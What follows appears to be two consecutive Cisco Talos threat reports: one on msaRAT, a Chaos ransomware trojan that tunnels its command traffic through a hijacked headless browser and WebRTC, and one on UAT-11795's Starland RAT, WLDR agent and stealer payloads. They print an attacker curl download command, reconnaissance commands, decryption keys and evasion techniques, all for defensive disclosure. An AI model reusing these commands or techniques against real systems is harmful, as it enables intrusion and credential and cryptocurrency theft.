• Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”.
• msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications.
• This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser.
• msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay.

Overview of Chaos ransomware

Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog.

Infection chain

Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.

After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.

curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi

The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.

When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3, directly into memory.

lib.dll (msaRAT)

msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.

Tokio runtime initialization

Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async/await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is responsible for scheduling and running asynchronous tasks.

As the first step within the RUN function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary — including TOKIO_WORKER_THREADS and the number of hardware threads is not known for the target platform — match source code from both Tokio and the Rust standard library, confirming this initialization behavior.

During initialization, the malware determines the number of worker threads for parallel execution. It first reads the TOKIO_WORKER_THREADS environment variable. If the variable is not set or is empty, it calls the Windows API GetSystemInfo to retrieve the CPU count and uses that value to set the worker thread count. If dwNumberOfProcessors written by GetSystemInfo returns 0, the worker count is set to 1. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the CreateThread API.

By leveraging Tokio, this RAT can concurrently execute multiple operations — such as receiving frames from the C2, sending CDP commands to the browser, and processing key exchanges — without any operation blocking another. For example, even while an ECDH key exchange is in progress, the reception and processing of other frames continues uninterrupted.

Hijacking the browser

Locating the Chrome or Edge installation path

After launching the Tokio runtime, msaRAT attempts to manipulate the browser. As the first step toward that goal, it searches for the installation path of Chrome or Edge on the victim machine.

1. Path Discovery via Environment Variables

The malware attempts the following combinations in priority order, checking whether the file exists at each path.

2. Path Discovery via registry

If no path is found through environment variables, the malware falls back to searching for Chrome exclusively via the registry.

If no matching browser is found, the Chrome DevTools Protocol (CDP) manipulation described later will not be executed.

Launching the browser in headless mode

Upon successfully obtaining the browser path, the malware launches Chrome or Edge in headless mode via the CreateProcessW API. At launch, multiple flags listed in Table 2 are applied, enabling the CDP remote debugging port.

In response to this request, the browser returns a JSON array containing information about connectable targets (such as tabs). Each element in the response includes a webSocketDebuggerUrl field, and a CDP session is established by connecting to that URL via WebSocket. Over the established session, a Target.createTarget command is sent to create a new tab, followed by Page.enable and Runtime.enable to activate the JavaScript execution environment.

Inject JavaScript code

After establishing a CDP session over WebSocket, the malware first bypasses Content Security Policy (CSP) using the Page.setBypassCSP command. As shown in Figure 9, the command is referenced from the string blob via pointer and length, then issued as a CDP command.

Immediately after bypassing CSP with Page.setBypassCSP, the RAT issues Runtime.addBinding five consecutive times. Runtime.addBinding is a CDP feature that registers callbacks to notify both the browser's JavaScript and the CDP client (the RAT) of events. The binding names to be registered are stored in the string table within the binary. Through a loop, the names “msaOpen,” “msaClose,” “msaError,” “msaMessage,” and “dataAck” are referenced in order, and each entry is sent as a CDP command one at a time.

After registering each binding name, the RAT uses Runtime.evaluate — a CDP feature for executing JavaScript in the browser — to inject JavaScript code embedded in the .rdata section into the browser. The injected code is embedded in plaintext and consists of two functions.

The first function initializes the WebRTC channel. It is injected only once, at the time of the initial connection. This function establishes the foundation for communications with the C2. The following sections describe the processing performed by this JavaScript code.

WebRTC DataChannel establishment (using Cloudflare Workers for signaling) and data transfer

1. Retrieving Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) server information

First, a GET request is sent to Cloudflare Workers (“is-01-ast[.]ols-img-12[.]workers[.]dev”) to retrieve the STUN/TURN server configuration required for WebRTC connection as JSON. If this fails, window.msaError() notifies the RAT and terminates.

Figure 13 shows the GET request and response between the browser and the server hosted on Cloudflare Workers infrastructure. Since the browser is launched in headless mode, the User-Agent is identified as HeadlessChrome. As for the Origin and Referer headers, the request is disguised as originating from Microsoft's official website in order to evade detection.

 The response body, as shown in Figure 14, returns WebRTC ICE server configuration containing STUN/TURN server information. The STUN server (“stun2.l.google.com”) is used to discover the external IP address of the infected host in order to traverse NAT, while the TURN server (“global.turn.twilio.com”) acts as a relay point when a direct Peer-to-Peer (P2P) connection cannot be established.

2. Creating the WebRTC PeerConnection and DataChannel

Using the retrieved server information, an RTCPeerConnection is created. The DataChannel name is assigned a random alphanumeric string of 5 to 20 characters generated by genStr(5, 20).

3. Connecting events to bindings

The callbacks previously registered via Runtime.addBinding are bound to their respective WebRTC events. When data is received from the C2 (onmessage), the binary data is converted to Base64 and passed to the RAT via window.msaMessage().

4. Interactive Connectivity Establishment (ICE) candidate gathering and SDP negotiation

For WebRTC communication to occur, both parties must first agree on which address to connect to and which format to use for communication. To that end, the malware generates a WebRTC SDP Offer (containing the communication parameters) and gathers ICE candidates to determine the optimal connection path. Once gathering is complete, the SDP Offer is POSTed to the C2 server, which returns an SDP Answer. Applying the C2 server's SDP via setRemoteDescription establishes the WebRTC DataChannnel connection. If ICE candidate gathering does not complete within five seconds, a timeout is triggered and it forcibly executes.

Figures 18 and 19 show the actual POST /token/v1/{UID} request and response. The response contains the attacker's SDP Answer, which includes no ICE candidates, with the connection address set to “0.0.0.0”. By intentionally omitting the ICE candidates that are normally present in standard WebRTC communications, P2P connections are prevented from being established, resulting in a design where all communications are always routed through TURN. By routing traffic through Twilio's legitimate service, the real IP address of the attacker's server never appears in the network traffic, and the dual-layer infrastructure combining Twilio with Cloudflare Workers makes it significantly difficult to trace the attacker's infrastructure.

5. Data conversion helper and random string generation

When sending data from the RAT to the browser, the CDP Runtime.evaluate can only pass strings. However, the actual data transmitted over the WebRTC DataChannel is binary data (ArrayBuffer). The function Base64ToArrayBuffer is responsible for handling this conversion.

6. Send queue and flow control

The WebRTC DataChannel has a send buffer, and continuously sending data can result in new data being dropped. To address this issue, the attacker has implemented a queue and flow control mechanism. Data is dequeued and sent when the buffer drops below 24KB. This design is likely intended to ensure reliable delivery of large payloads such as screenshots or file transfers to the C2.

The second function is dedicated to data transmission and is injected on demand via Runtime.evaluate each time the RAT sends a command to the C2 through the browser. The actual payload is embedded in place of {base64}.

After the RAT injects JavaScript via Runtime.evaluate, control of the main processing shifts to the browser. The RAT enters a waiting loop monitoring the CDP WebSocket, continuously listening for events from the browser. The establishment and disconnection of the WebRTC connection, as well as data reception, are all handled by JavaScript running within the browser. To relay the results of this processing back to the RAT, the registered bindings such as window.msaOpen() and window.msaMessage(base64Data) are called. Each time a binding is called, CDP emits a Runtime.bindingCalled event to the RAT over WebSocket. The JSON format of this event is as follows:

The params object contains two fields: name (a string indicating which binding was called) and payload (the argument passed from JavaScript). Based on the value of the name field, the RAT switches its subsequent behavior accordingly.

Communication encryption

By specification, the WebRTC DataChannel communication path is automatically protected by DTLS (transport-layer encryption), which is handled entirely by the browser and is independent of the RAT's code. Separately, msaRAT encrypts the data itself using a ChaCha-Poly1305-based encryption scheme before passing it to the browser, resulting in double-layer encryption. This design ensures that even if DTLS is stripped, an adversary-in-the-middle cannot read the contents. The ChaCha-Poly1305-based encryption key is derived through an ECDH key exchange performed at the time the C2 connection is established. When a Handshake frame (0xFE) is received from the C2 immediately after connection, the RAT receives the C2 server's public key, generates its own key pair, derives a shared key and then sends its own public key back to the C2.

C2 command processing

While a simple implementation would receive a command number and invoke the corresponding handler, this RAT employs a two-layer structure: an outer layer that manages connection state and an inner layer that processes frames. These are shown in Tables 4 and 5.

C2 communication flow

Figure 25 illustrates the communication flow between msaRAT, Cloudflare Workers, Twilio TURN, and the C2 server.

msaRAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint (“is-01-ast[.]ols-img-12[.]workers[.]dev”), but rather than making HTTP connections to this domain itself, it offloads that entirely to the browser. This endpoint is dedicated solely to signaling relay (SDP Offer/Answer exchange) for establishing a WebRTC connection; once the WebRTC connection is established, Cloudflare Workers drops out of the communication path entirely. All subsequent C2 commands are exchanged exclusively over the WebRTC DataChannel.

The likely rationale for choosing Cloudflare Workers as the signaling relay is that the destination is Cloudflare's infrastructure rather than an attacker-owned server, meaning the destination IP addresses fall within Cloudflare's CDN ranges and will pass through many firewall and proxy allowlists without inspection. Furthermore, “*.workers.dev” is a platform domain provided by Cloudflare for developers, and blocking it would broadly impact legitimate Cloudflare Workers deployments making it structurally difficult for defenders to block. In addition, as we mentioned, communications are double-encrypted.

As a result of this design, all network communication from the RAT process itself is limited to “127.0.0[.]1”, and all external communications are observed as originating from a legitimate browser process. Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Downloader.ChaosRaas-10060321-0

The following SNORT® rules (SIDs) detect and block this threat: 

• Snort 2: 1:66840, 1:66841, 1:66839
• Snort 3: 1:301587, 1:66839

Indicators of compromise (IoCs)

The IOCs can also be found in our GitHub repository here.

• Cisco Talos is disclosing UAT-11795, a sophisticated, Russian-speaking, financially motivated adversary that has been conducting a malicious campaign targeting users in the U.S. and Europe since at least June 2025.  
• Talos has discovered that the actor in this campaign delivers a Python-based remote access tool (RAT) that we track as “Starland RAT” and a command-and-control (C2) memory implant known as the “WLDR agent.” 
• The WLDR agent is a sophisticated PowerShell-based C2 memory implant that features encrypted beaconing, task queuing, and a Runspace execution engine for executing additional payloads.  
• UAT-11795 also has CastleStealer and Remcos RAT as alternative payload implants in their arsenal. 
• The actor targets victims' credentials and cryptocurrency wallet assets, establishing a persistent connection to the victims' machines from the C2 server, with the potential to deliver and execute further payloads. 

Victimology 

According to the telemetry data, the infection is predominantly observed in the United States. There are also fewer potential impacts observed in Germany, Romania, and Venezuela, based on the assessment of the passive DNS resolution data of the C2 domains associated with this campaign. 

Talos has observed that the threat actor in this campaign has utilized trojanized installer lures from software categories including: 

The breadth of trojanized software across developer tooling, IT administration utilities, enterprise collaboration platforms, and a consumer gaming application suggests the actor is operating an opportunistic, volume-driven distribution model targeting multiple victim profiles simultaneously, rather than a single vertical. 

Threat actor infrastructure 

The threat actor in this campaign operates a distributed infrastructure across two functional categories, payload staging and persistent C2, with domain naming conventions chosen to blend into legitimate traffic categories. The staging domains, including “eorthopaedics[.]com” (likely a hijacked domain), “web-devtools[.]com” (resembles a developer tooling portal), and “zynaris[.]io” (resembles a technology start-up), with each domain serving a narrow functional role:  

• “eorthopaedics[.]com” and “sastoro[.]com” hosts the PowerShell stage chain under “/feed/” and “/alpha/” paths indicating that the actor has added the malicious routing alongside the legitimate contents. 
• “web-devtools[.]com” serves raw shellcode payloads under the paths (“/starlandfox”, “/x32remka”, “/dopfile”) and a compressed archive. 
• “zynaris[.]io” hosts the potential ClickFix-delivered HTML application (HTA) stager and trojanised installer lures. 

The C2 infrastructure is similarly distributed, with “eorthopaedics[.]com” and “sastoro[.]com” both serving hardware-bound unique identifier (HWID) encrypted envelopes over HWID parameterized URL paths with “eorthopaedics[.]com” under “/feed/” and “sastoro[.]com” under “/alpha/”. This suggests that the two domains represent parallel C2 infrastructure used for the same campaign. 

The domains “windowscreenrepairnearme[.]com” (which is also likely to be a hijacked domain) and “aipythondevs[.]com” serve as the primary C2 for the Starland Python RAT. All C2 URLs incorporate a victim hardware identifier derived from the C: drive volume serial number of the victim machine as the final URL path component, enabling the distinct C2 communication for each of the compromised victims. The actor in this campaign has also implemented C2 infrastructure resilience by using a Polygon smart contract (“0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba”), which stores an XOR-encrypted fallback C2 domain that is retrievable via a public JSON-RPC call.  

Talos discovered that the actor controls two Telegram bots, “8384531459” (“skuefq_bot”) and “7993597060” (“komandastuk_bot”), used for receiving the implant’s execution notification beacons, including messages with victim’s machine fingerprints and cryptocurrency wallet inventories. 

Talos’ research uncovered a private live Telegram channel called “stuk komanda”, controlled by the same threat actor. The stuk komanda channel was created on June 5, 2025, and has three unknown subscribers. It does not contain any chat groups and appears to be structured like a C2. The channel lists messages in the name of file names that appear to be Windows-based binaries, highlighting that the threat actor has been active since at least June 2025. 

Multi-stage attack summary 

The threat actor executed a multistage campaign that involves deploying a weaponized HTA downloader via Microsoft HTML Application Host (“mshta.exe”) on the victim's machine, likely utilizing a ClickFix technique. The execution of the HTA file results in the downloading and execution of trojanized installers bundled with a malicious Python package, which sends the implant status of the installer to an attacker-controlled Telegram bot. The NSIS script associated with the trojanized installer is designed to execute the malicious byte-compiled Python code encapsulated within the installer file. 

This initial byte-compiled Python code acts as a loader that decodes and executes an embedded Python RAT, which we are calling Starland RAT, in the victim's machine memory. Starland RAT offers a wide range of functionalities and has been specifically engineered to operate within the Windows environment. Its capabilities include defense evasion techniques, system reconnaissance, stealing browser data and cryptocurrency wallets, and a fallback C2 connection mechanism that includes a hardcoded C2 URL, as well as a Polygon Ethereum smart contract that serves as a backup. This connection allows it to interact with the smart contract through Eth_call, dynamically resolving the C2 domains. The RAT sends the reconnaissance information to the C2 to register the victim's machine and is proficient in receiving and executing intermediate payloads in several formats, including shellcode for 64-bit and 32-bit Windows environments, directly executing Windows shell commands, and downloading and executing malicious EXE, MSI, and DLL files. 

Talos has observed that the threat actor has distinct infection chains for each type of intermediate payload that Starland RAT receives from the C2. In the case of an x64 shellcode intermediate payload, it implants CastleStealer as the final payload. CastleStealer is a .NET stealer that targets credentials, cryptocurrency wallets, Telegram data, and other browser data from the victim's machine. Similarly, the x32 shellcode implants a variant of the Remcos RAT. 

Furthermore, Talos has observed that the threat actor executed a Windows shell command through Starland RAT as an intermediate payload to download and execute a PowerShell stager. This stager is associated with an undocumented PowerShell C2 framework, which we track as “WLDR C2” in alignment with the internal project designation used by the threat actor in the PowerShell scripts. The PowerShell stager is heavily obfuscated and is designed to decrypt an embedded next-stage PowerShell loader. The second-stage PowerShell loader script has capabilities for defense evasion, connects to the C2, downloads a JSON response, and processes this response to execute another embedded PowerShell payload, the WLDR agent, in the victim's machine memory. The WLDR agent is a bespoke PowerShell script that receives its C2 address through the PowerShell loader injected global variable at the time of execution. The WLDR agent employs capabilities including encrypted HTTP beaconing, comprehensive host reconnaissance, a robust reconnection protocol, and a modular task execution engine to further execute the malicious PowerShell scripts as directed by the threat actor from the WLDR C2 server. 

Initial vector 

The threat actor gains initial access to the victim machine potentially through a ClickFix social engineering technique that entices the user to execute a command, which then stealthily downloads and executes a remotely hosted weaponized HTA file. The HTA file runs an embedded VBScript that drops a Windows batch file into the user profile’s application temporary folder, which contains instructions to first download and implant a trojanized installer from the attacker-controlled staging domain onto the victim machine. 

Once the trojanized installer is executed, the batch file sends a notification beacon to an attacker-controlled Telegram bot, “8384531459”, to confirm successful execution to the threat actor. At the same time, the VBScript establishes persistence under “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” with the generic value “MyApp”, pointing back to “mshta.exe” to execute the remotely hosted weaponized HTA file every time the victim logs in to the machine. Talos identified a Russian-language developer comment left in the VBScript (“Добавление команды в автозапуск для текущего пользователя”), indicating that a Russian-speaking actor is conducting this campaign. 

Python loader packaged into trojanized installers 

Talos has observed that the threat actor in this campaign has weaponized software installers by utilizing the Nullsoft Scriptable Install System (NSIS). They have packaged the Python runtime executable “pythonw.exe” along with a compiled Python loader, which is disguised as a license file named “LICENSE.txt”. The threat actor has modified the NSI script file of the installer to include instructions for executing the compiled Python loader using the Python runtime executable.  

The compiled Python loader is a relatively large file obfuscated with numerous junk functions that perform random arithmetic operations and print randomly generated strings to the standard output. The actual execution logic is confined to six lines in the loader program, implementing XOR decryption using the XOR key 198 (0xC6) to decrypt the encrypted embedded payload of Starland RAT and execute it in the victim machine's memory.

Starland RAT, a Python-based RAT 

Starland is a Python-based remote access tool (RAT) with the capability to steal cryptocurrency. During its initial execution phase, the RAT resolves and declares all required Windows API function signatures through Python’s ctypes interfaces. It directly loads “kernel32.dll” using WinDLL and explicitly defines the argument types and return types for every Win32 call used later in execution, including VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, VirtualProtectEx, CreateProcessA, QueueUserAPC, and ResumeThread. Custom ctypes Structure subclasses are declared for SECURITY_ATTRIBUTES, STARTUPINFO, and PROCESS_INFORMATION, mirroring the definitions in the Windows SDK. This API mapping mechanism ensures that all injection and process manipulation calls later in execution are ready without further need for Windows API imports or dynamic resolution. 

Before any malicious logic executes, the RAT conducts check for anti-analysis environments. First, it compares the logged-on username of the victim machine against a hardcoded list of usernames, which includes known sandbox service accounts and aliases, including WDAGUtilityAccount. Next, the RAT verifies the victim's computer name against a list of hostnames from recognized sandbox environments, such as Cuckoo, Any.Run, Joe Sandbox, and Hybrid Analysis. If either check matches, the RAT's execution terminates immediately. Additionally, the RAT examines the Downloads folder for a Zone.Identifier alternate data stream on the trojanized installer file, confirming that the file was obtained via a browser download rather than being uploaded or copied directly. 

The RAT establishes persistence before any network communication with the C2 takes place. The primary mechanism involves creating a scheduled task using the PowerShell New-ScheduledTask command, with a randomized name following the pattern PythonLauncher-{3 random characters}. When executed with administrator privileges, the trigger is set to AtLogOn with RunLevel Highest, ensuring the elevated re-execution of the RAT at every user logon. Additionally, a secondary Startup folder LNK shortcut is created via the WScript.Shell COM object, placed in the user's Startup directory, targeting “pythonw.exe” with LICENSE.txt as its argument. If the RAT is not already running with elevated privileges, it also attempts UAC elevation via ShellExecuteW with the runasverb, aiming to upgrade the scheduled task to the higher-privilege logon before proceeding. 

It performs system reconnaissance, assembling the victim profile that includes the system hardware-bound unique identifier (HWID), total RAM size of the victim machine, and installed antivirus by executing the following commands: 

Get-CimInstance -Class Win32_ComputerSystemProduct.UUID  
wmic memorychip get Capacity   
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

The RAT also conducts Active Directory reconnaissance via the PowerShell command Get-WmiObject Win32_ComputerSystem.Domain. If the victim is identified as a member of Active Directory, the RAT executes the following commands to collect information about domain structure, domain controllers, and the victim’s domain privileges: 

whoami && systeminfo && net user {USERNAME} /dom && nltest /dclist

For workgroup-only hosts, it executes the whoami /all command. The reconnaissance data collected are staged by the RAT for inclusion during the victim machine registration to the primary C2 domain hardcoded in the RAT program. It also captures a screenshot of the victim machine's desktop, saves it as a PNG in the RAT’s working directory, generates a Base64-encoded string for the PNG file in memory, stages it alongside the reconnaissance data, and deletes the PNG file from the disk. 

Additionally, it gathers the victim’s cryptocurrency assets information by enumerating the desktop cryptocurrency wallets and browser extension wallets, checking for the presence of over 40 cryptocurrency wallets. The collected data is also staged alongside the reconnaissance data and the Base64-encoded screenshot (PNG) data. The RAT consolidates all collected data into a single JSON file, XOR encrypts it with the 5-byte key “helo1”, Base64-encodes it, and sends it to the primary C2 through an HTTP POST request using the HTTP user-Agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36.  

If the primary C2 registration fails, the RAT enables a blockchain-anchored fallback mechanism. An eth_call is triggered via JSON-RPC to the public Polygon RPC endpoint “polygon-rpc[.]com”, targeting the smart contract “0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba” and function selector “0xc659f3b8” for the latest block. The encrypted hexadecimal string that the RAT receives from the smart contract is XOR-decrypted with the key “$m7*rYpry3” to recover a fallback domain to which the RAT sends the victim machine registration request along with the reconnaissance and screenshot data. 

Before transmitting the reconnaissance information to the C2 for the victim's machine registration, the RAT sends a notification message to the attacker-controlled Telegram bot using hardcoded credentials. The message includes the victim's public IP address sourced from “api64.ipify[.]org”, the build name, region locale, computer name presented as a “Crew ID” field, OS platform and release, processor string, and the hardcoded label  
"Windows Defender” as the protection application indicator. If any Chrome cryptocurrency wallet extensions or desktop cold wallet applications were detected during the reconnaissance phase, they were also appended to the message of the Telegram bot, providing the threat actor with visibility into the victim profile and cryptocurrency assets before the actual registration of the victim machine to the C2. 

After the RAT registers the compromised machine with the C2, it sends a GET request to the C2 server every 50 – 60 seconds. It contains minimal JSON content with two randomly named junk fields and the bot's unique identifier, encoded using the same XOR key “helo1” and then Base64 encoded. The C2 server responds with one of the four commands supported by the RAT: 

Windows shell command deploys bespoke WLDR agent C2 implant 

In the current campaign investigation, Talos discovered that the threat actor executed a curl command to download and execute additional PowerShell script payloads of the WLDR C2 framework from another C2.  

WLDR stager 

The WLDR stager PowerShell script represents the initial stage, where it establishes a loop counter and two boolean flags for execution states. Each state creates a runtime alias for PowerShell command execution, resolving .NET Base64 and byte conversion types through an obfuscated string construction mechanism. It also defines an inline decryption routine that XOR decrypts the next stage, which is the embedded encrypted WLDR downloader PowerShell script, using a dynamically computed XOR key. 

WLDR downloader  

WLDR downloader is a compact HWID-bound loader script. Upon execution, it derives a hardware identifier from the victim’s C: drive volume serial number, converts it from hexadecimal to a decimal number, and appends it to two hardcoded C2 URLs for victim-specific payload delivery and a persistent agent task channel. It then issues an HTTP GET request to the C2, and the C2 server only responds to requests whose HWID matches a pre-registered value. The C2 server response is an encrypted JSON envelope containing fields with a Base64-encoded salt, initialization vector, encrypted data, and authentication tag. 

The WLDR loader processes the JSON response by decrypting the envelope through an inline decryption routine using a derived 64-byte key from a hardcoded plaintext password “odg5t8mvssvh” and the salt received from the C2 server in the JSON response. This is followed by the decryption of the encrypted data, which is the next stage of the WLDR agent PowerShell C2 memory implant. Before executing the WLDR agent, it writes the C2 URL and the plaintext password into the global PowerShell scope, making both available for the WLDR agent as its C2 address and session encryption key for all subsequent communication with the C2. 

Bespoke WLDR C2 agent implant 

The WLDR agent is a fully featured PowerShell remote access client that operates entirely in memory. It implements encrypted C2 communications, concurrent task execution through a managed Runspace engine, and a module delivery framework that provides the threat actor with interactive remote PowerShell execution capabilities on the victim's machine. 

Upon execution, the agent initializes the server's URL to a development placeholder and immediately checks for a globally scoped URL and session encryption password that were set by the WLDR loader script. If found, it overwrites the placeholder with the C2 URL and inherits the session encryption password, while also configuring other operational parameters, including polling interval, HTTP timeout, retry counts for the C2 reconnect cycle, and the number of threads for the Runspace pool. 

Before initiating the C2 connectivity, it implements a mutex “f2j398fj239d8j23dkkskskkkkkkkkk” to prevent duplicate instances and performs a dependency check on the inherited session encryption password. If the password is not found, the agent exits its execution. The network communication is encrypted using AES-256-CBC with HMAC-SHA256 in an encryption, then Message Authentication Code (MAC) construction, with session keys derived through PBKDF2-SHA256 over a randomly generated salt at 5,000 iterations. The protocol version tag WSv1 is bound to every MAC computation, with a new random initialization vector (IV) generated for each message. 

The agent performs reconnaissance via WMI queries, gathering information on antivirus products, network adapter configurations, OS version and build, domain membership, CPU, RAM, administrative privilege status, and UAC policy. A hardware identifier is primarily derived from the C: drive volume serial number; if that fails, it queries the machine's registry for the GUID or generates a checksum of the host name, which is appended to all C2 URLs. The initial connection to the C2 is established through an HTTP POST that includes the victim machine profile, the infection identifier, protocol version 2.0.0, and the cryptographic session parameters, with a connection retry timing set to 30 seconds. All subsequent traffic is sent to C2 over HTTPS, with headers designed to mimic a Chrome browser session in version 124. 

After establishing the initial connection with the C2, the agent polls the C2 server every 10 seconds. The response from the C2 server can include either commands or tasks, with the only hardcoded command in the agent being a kill instruction that triggers instance termination, while tasks are queued for execution. 

During our research, we observed that the initial response from the C2 was the idle polling interval response, which included empty fields in both the “commands” and “tasks” arrays. 

Further analysis of the agent program disclosed that the C2 responses to the polling will contain encrypted PowerShell commands or scripts, which are decrypted using the same hardcoded password and executed through one of the two runtime engines defined in the backdoor program.  

The primary agent execution engine is a PowerShell RunspacePool supporting up to 10 concurrent threads. Each PowerShell script payload delivered by the C2 is wrapped with details of execution context and parameters as in scope variables along with event handlers on the script’s execution result of output, error,and warnings. These event handlers registered on the output, error, and warning streams are triggered synchronously as the script execution output is produced, packaging results into stream messages and forwards them to the C2 in real time without waiting for the script execution completion.  

This message streaming capability makes the WLDR agent’s Runspace engine favorable for the interactive operations such as continuous monitoring where the command output reaches the threat actor incrementally, rather than after the completion of the script execution.  

If the Runspace engine fails to initialize the payload, PowerShell script execution defaults to standard PowerShell background jobs. It injects parameters and launches the script as a background job; however, unlike the Runspace path, it collects output only after the job completes, making it suitable only for short-lived batch tasks. 

Other payloads of Starland RAT campaign 

Talos has discovered that the threat actor possesses additional malware, including CastleStealer and Remcos RAT, which can be deployed as payloads to the victim's machine via the Starland RAT. To deliver these payloads, the threat actor utilizes a custom shellcode loader for both x64 and x32 machines, encapsulating the embedded encrypted binaries of the payloads. 

The shellcode loader resolves all required Windows APIs entirely at runtime by enumerating the list of loaded modules in the OS memory, iterating through each module's export directory, and comparing a hash of each function name against stored target values. The shellcode neutralizes both the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) through two sequential bypass mechanisms. The primary technique resolves the target functions AmsiScanBuffer in “amsi.dll” and EtwEventWrite in “ntdll.dll” using runtime hash-based API resolution, then overwrites their first bytes in memory with a patch that forces AMSI to always return a clean scan result and the ETW write function to return immediately without writing the output, effectively neutralizing both interfaces. If the primary patching technique fails, the shellcode executes a fallback mechanism where it calls VirtualProtect to temporarily change the target function's memory page protection value to read-write-execute and writes the same patch bytes directly, then restores the original page protection. 

Then, it decrypts the embedded encrypted payload blob and decompresses the decrypted data using LZX decompression into a newly allocated memory region. The payload is subsequently dispatched either by the reflective PE injection technique or by .NET CLR loading through the ICorRuntimeHost COM interface for .NET binaries, or through the PowerShell Runspace for PowerShell scripts. 

Talos discovered that the threat actor can deliver CastleStealer implant through the x64 shellcode and the Remcos RAT through the x32 shellcode variant.  

CastleStealer is a .NET-based infostealer and credential harvesting implant designed to systematically extract sensitive data from compromised Windows hosts. It incorporates several anti-analysis measures, including a Russian locale exclusion check and a hardcoded build expiry timestamp, ensuring it executes only against genuine targets within a defined operational window. Its credential theft surface is broad, targeting the full Chromium browser family and Firefox through direct SQLite database access, with decryption support for both legacy DPAPI-protected credentials and the AES-GCM application bound encryption scheme. Beyond browser data, it enumerates crypto wallet browser extensions, Discord and Telegram session files, Steam account credentials, and targeted filesystem paths, transmitting all collected material over a TCP socket to the attacker-controlled infrastructure. CastleStealer’s secondary payload delivery capability allows the actor to implant further payloads through process injection technique or PowerShell script execution.  

Remcos RAT (Remote Control and Surveillance) is a commercial remote access tool originally sold as a legitimate remote administration tool. However, it has been extensively abused by a wide range of threat actors since its emergence in 2016. It provides operators with comprehensive post-exploitation capabilitiesincluding real-time keylogging, screen and webcam capture, audio recording, file management, shell command execution, and clipboard monitoring all communicated over an encrypted channel to a configurable C2 server.  

Coverage 

The following ClamAV signature detects and blocks this threat: 

Txt.Downloader.Agent-10060312-0
Html.Downloader.Agent-10060313-0
Html.Downloader.Agent-10060314-0
Py.Loader.Agent-10060315-0
Py.Loader.Agent-10060316-0
Ps1.Trojan.Agent-10060317-0
Ps1.Trojan.Agent-10060318-0
Ps1.Trojan.WLDRAgent-10060319-0
Ps1.Downloader.Agent-10060320-0
Win.Trojan.CastleStealer-10060341-0
Win.Trojan.Starland_Installer-10060342-0
Win.Malware.Starland-10060343-0
Win.Malware.Remka-10060344-0

The following Snort Rules Snort 2 and Snort 3 (SIDs) to detect and block this threat: 66787 – 66790 and 301580  

IOCs

The IOCs for this threat are also available at our GitHub repository here.